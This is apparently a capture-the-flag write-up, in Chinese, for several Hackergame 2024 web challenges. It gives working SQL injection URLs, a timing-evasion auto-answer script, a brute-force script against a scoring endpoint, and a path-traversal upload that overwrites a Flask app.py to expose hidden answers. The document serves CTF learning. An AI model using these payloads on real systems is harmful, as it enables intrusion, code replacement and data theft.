Hackergame-2024-Web

签到


PaoluGPT

下载源码,包含database.py和main.py。

# database.py

import sqlite3
def execute_query(s: str, fetch_all: bool = False):
    conn = sqlite3.connect("file:/tmp/data.db?mode=ro", uri=True)
    cur = conn.cursor()
    res = cur.execute(s)
    if fetch_all:
        return res.fetchall()
    else:
        return res.fetchone()
# main.py的关键代码

@app.route("/list")
def list():
    results = execute_query("select id, title from messages where shown = true", fetch_all=True)
    messages = [Message(m[0], m[1], None) for m in results]
    return render_template("list.html", messages=messages)

@app.route("/view")
def view():
    conversation_id = request.args.get("conversation_id")
    results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
    return render_template("view.html", message=Message(None, results[0], results[1]))

分析以上代码,发现

select title, contents from messages where id = '{conversation_id}'

直接将conversation_id 插入到查询中,没有经过参数化或转义,这是一个明显的SQL 注入漏洞。

闭合方式是单引号,构造https://chal01-acbmue75.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=1' OR '1'='1,理论上会返回所有行,但是只返回了一条数据。

阅读源码,发现execute_query 使用了 cur.fetchone(),默认返回第一行结果。想到利用group_concat

查询语句的列数是2,所以构造

https://chal01-acbmue75.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=1' UNION SELECT GROUP_CONCAT(contents, ';'), NULL FROM messages--

注意:# 是 MySQL 的特有注释方式,在其他数据库系统(如 SQLite)中不被支持。
在 SQL 注入时,建议使用 --,因为它是一个更通用的注释符号,确保在各种数据库中都能正确工作。

在结果中搜索flag关键词。

喜欢做签到的 CTFer 你们好呀


比大小王

(function fastAutomateGame() {
// 快速答题的主函数
function autoChooseAnswer() {
if (state.score1 < 100) {
// 计算出正确答案并立即选择
const choice = state.value1 < state.value2 ? '<' : '>';
state.inputs.push(choice); // 更新输入列表
state.score1++; // 累加分数

// 更新页面显示
document.getElementById('score1').textContent = state.score1;
document.getElementById('progress1').style.width = `${state.score1}%`; // 更新进度条

// 判断是否已经达到100
if (state.score1 === 100) {
// 调用submit函数自动提交
submit(state.inputs);
console.log("达到 100 分,自动提交答案!");
} else {
// 否则更新下一个值并继续快速答题
state.value1 = state.values[state.score1][0];
state.value2 = state.values[state.score1][1];
document.getElementById('value1').textContent = state.value1;
document.getElementById('value2').textContent = state.value2;

// 立即递归调用继续答题
const randomDelay = Math.floor(Math.random() * 100) + 50; // 50150毫秒
setTimeout(autoChooseAnswer, randomDelay);
}
}
}

console.log("快速自动游戏开始...");
autoChooseAnswer();
})();

小结

  1. 自执行匿名函数(IIFE):

    (function fastAutomateGame() {
    // 函数体
    })();

    在 IIFE 中使用括号的原因是为了将函数声明转换为函数表达式,从而能够立即调用它。

  2. submit 函数发送一个包含 inputs 的 POST 请求到服务器的 /submit 路径,并将玩家的所有输入(inputs 数组)作为数据发送。返回的数据(data.message)会显示在页面的 dialog 元素中,可能包含有关结果的信息,比如“成功”或“失败”的消息。如果服务器返回的消息中包含 flag,可以在这里查看到。

  3. 由于键盘和鼠标事件触发 chooseAnswer 函数来更新输入,如果可以通过脚本触发这些事件,就可以快速累积到 100 分,并触发 submit 函数。

  4. 游戏中有防止“快速答题”的机制,检测到我们修改了状态或超速完成操作。为了避免被识别为“时空穿越”,增加一个稍短的间隔(例如,50到150毫秒的随机延时)来模拟真实答题。

  5. state.allowInput 变量用于控制用户是否可以输入答案。在正常情况下,游戏逻辑中会在倒计时结束后将其设置为 true,以允许用户输入。但是,在这段自动化代码中,输入的选择是直接计算出来的,没有实际的用户输入行为,因此即使在倒计时期间也能够执行。

Node.js is Web Scale

Node.js原型链污染 |
Node.js原型链污染

禁止内卷

from flask import Flask, render_template, request, flash, redirect
import json
import os
import traceback
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)

UPLOAD_DIR = "/tmp/uploads"

os.makedirs(UPLOAD_DIR, exist_ok=True)

# results is a list
try:
with open("results.json") as f:
results = json.load(f)
# 读取文件并解析为 JSON 格式
except FileNotFoundError:
results = []
with open("results.json", "w") as f:
json.dump(results, f)

def get_answer():
# scoring with answer
# I could change answers anytime so let's just load it every time
with open("answers.json") as f:
answers = json.load(f)
# sanitize answer
for idx, i in enumerate(answers):
if i < 0:
answers[idx] = 0
return answers

@app.route("/", methods=["GET"])
def index():
return render_template("index.html", results=sorted(results))
# 注意这个排序

@app.route("/submit", methods=["POST"])
def submit():
if "file" not in request.files or request.files['file'].filename == "":
flash("你忘了上传文件")
return redirect("/")
file = request.files['file']
filename = file.filename
filepath = os.path.join(UPLOAD_DIR, filename)
file.save(filepath)

answers = get_answer()
try:
with open(filepath) as f:
user = json.load(f)
except json.decoder.JSONDecodeError:
flash("你提交的好像不是 JSON")
return redirect("/")
try:
score = 0
for idx, i in enumerate(answers):
score += (i - user[idx]) * (i - user[idx])
# 平方差的总和
except:
flash("分数计算出现错误")
traceback.print_exc()
return redirect("/")
# ok, update results
results.append(score)
with open("results.json", "w") as f:
json.dump(results, f)
flash(f"评测成功,你的平方差为 {score}")
return redirect("/")

仔细阅读后端代码,后端接收到上传的文件后,首先会检查文件是否存在,然后将文件保存到 /tmp/uploads 目录。后端会尝试将上传的文件读取并解析为 JSON 格式。然后,它将与预设的 answers.json 进行比较。通过计算上传的文件中的数字与 answers.json 中的数字之间的平方差得到评分。

如果提交的 JSON 列表每一项都是 0,那么评分的结果将等于 answers 列表所有元素的平方和。通过更改第一个元素猜测answers 列表的第一个元素:如果是37,那么两次结果的差应是37的平方。

[!NOTE]
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式。它通常用于传输数据,特别是在 Web 应用程序中。JSON 格式的数据结构由以下几部分组成:

  • 对象(Object):由花括号 {} 包裹的键值对集合,键必须是字符串,值可以是多种类型。
  • 数组(Array):由方括号 [] 包裹的值的集合,值可以是任何类型。
  • 字符串(String):被双引号 " 包裹的文本。
  • 数字(Number)、布尔值(Boolean)、null:JSON 也支持这些原始数据类型。
    在 JSON 格式中,数据本质上是以字符串的形式传输的。

脚本如下:

import requests
from bs4 import BeautifulSoup
from collections import Counter

def send(data):
    url = 'https://chal02-vfyz4byt.hack-challenge.lug.ustc.edu.cn:8443/submit'
    headers = {
        'user-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0'
    }
    # 后端:file = request.files['file']
    files = {
        'file' : ('test', data, 'application/json')
    }
    response = requests.post(url, headers=headers, files=files)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        list = soup.find_all('li', class_ = 'list-group-item') # class_ 是 class 的替代写法,因为 class 是 Python 的保留字。
        # find_all() 方法返回一个包含所有匹配结果的列表
        scores=[]
        for i in list:
            score = i.get_text().split(':')[1].strip()
            # 提取出 :后面的数字部分,并去除任何多余的空格或换行符
            scores.append(score)
        return scores
    else:
        print(f'Request failed with status code: {response.status_code}')

def find_new_score(a1, a2):
    count1 = Counter(a1)
    count2 = Counter(a2)
    # 找到在arr2中多出来的元素
    for num in count2:
        if count2[num] != count1.get(num,0):
            # 如果 num 元素在 count2 中的出现次数与在 count1 中的出现次数不相等,则返回num
            # 如果 num 不在 count1 中,则返回 0
            return int(num) # score是字符串
           
if __name__ == '__main__':
    scores1 = send(str([0]*500))
    scores2 = send(str([0]*500))
    all_zero_score = find_new_score(scores1, scores2)
    # 找到全0的平方差
    print(scores1)
    print(scores2)
    print(all_zero_score)
    flag = ""
    payload = [0]*500
    for j in range(0,500):
        for i in range(1,40):
            payload[j] = i
            scores1 = send(str(payload))
            score = find_new_score (scores1, scores2)
            if score == all_zero_score - i*i:
                flag += chr(i+65)
                print(flag)
                break

但是flag提交上去显示答案错误。因为在 flask 代码中做了「归一化」的操作:

for idx, i in enumerate(answers):
if i < 0:
answers[idx] = 0

重新审题。题目中有提示:助教部署的时候偷懒了,直接用了 flask run(当然了,助教也读过 Flask 的文档,所以 DEBUG 是关了的)。而且有的时候助教想改改代码,又懒得手动重启,所以还开了 --reload。启动的完整命令为 flask run --reload --host 0。网站代码运行在 /tmp/web

在使用 Flask 时,app.py 通常是 Flask 应用的主文件。这道题的关键是服务器的后端使用了flask run --reload --host 0命令运行,并开启了--reload选项,那么如果有文件换掉了app.py,flask会马上应用新的脚本。所以在源代码中写一个读取并返回answer.json的route,然后上传替换掉原本的 app.py 即可。

@app.route('/flag', methods=['GET'])
def flag():
with open('answers.json', 'r') as f:
answers = json.load(f)
return answers

上传文件的目录是 /tmp/uploads ,题干又特意提示了网站目录在 /tmp/web,想到路径穿越漏洞。上传文件的时候,给文件名前加上../就可以穿透目录,上传到任意的地方去。BurpSuite抓包,修改传输路径为../web/app.py

访问/flag:

对应的数字加 65 后使用 ASCII 编码转换:

flag = ""
a=[37,43,32,38,58,52,45,46,-32,-32,-32,-32,30,36,50,49,36,53,36,49,30,45,46,54,30,20,30,49,52,45,30,12,24,30,34,-17,35,36,36,-17,-16,-14,32,-10,33,-8,36,-17,60,56,38,37,79,59,9,33,88,72,58,80,17,3,81,17,87,89,34,74,92,25,76,38,98,15,18,45,41,9,20,4,17,94,9,99,87,65,35,73,63,50,57,49,95,27,35,9,27,13,62,32,84,34,76,43,80,3,78,33,1,24,83,58,98,62,6,88,76,32,9,5,54,35,69,62,74,71,20,71,67,53,30,49,99,94,69,7,47,97,94,96,67,43,40,66,5,10,88,67,10,73,20,91,10,90,99,87,65,32,81,3,80,41,67,40,19,19,14,97,97,19,4,1,76,24,57,47,77,28,28,79,1,48,55,0,20,72,49,84,4,83,4,70,16,55,37,77,13,4,43,20,46,81,12,81,59,14,23,32,77,76,81,88,44,44,11,76,92,4,21,21,92,31,89,100,78,0,2,22,84,60,28,22,66,32,5,5,87,16,14,6,69,29,77,58,77,45,37,65,36,95,71,68,57,44,56,65,69,73,83,55,8,93,18,38,98,5,24,33,52,11,2,6,66,58,61,83,78,36,35,36,41,48,71,56,83,40,90,47,67,75,13,46,13,39,60,92,58,91,42,66,54,76,100,24,66,48,35,31,5,56,80,58,91,21,9,25,5,25,10,55,5,47,30,77,86,91,5,51,37,54,47,91,34,11,56,34,93,94,64,14,41,46,88,53,12,69,89,31,66,6,33,2,36,32,30,82,27,35,91,31,55,92,67,25,71,68,26,31,89,27,60,72,1,82,68,32,7,65,14,19,59,34,85,99,21,82,27,86,31,19,10,21,53,77,38,43,48,55,41,50,50,67,1,40,74,16,34,25,25,34,53,1,43,61,22,81,50,28,72,5,19,80,81,69,87,25,42,97,15,52,80,93,16,34,1,37,2,62,59,13,53,93,87,78,30,50,46,79,50,40,70,29,29,1,16,47,81,29,71,55,46,83,79,99,3,32,85,35,0,40,79,77,85,77,9,96,74,7,78,28,11,83,3,24,46,94,45,11,20,95,10,75,66,52,44,69,32,55,29,88]

for num in a:
    char = chr(num + 65)
    flag += char
print(flag)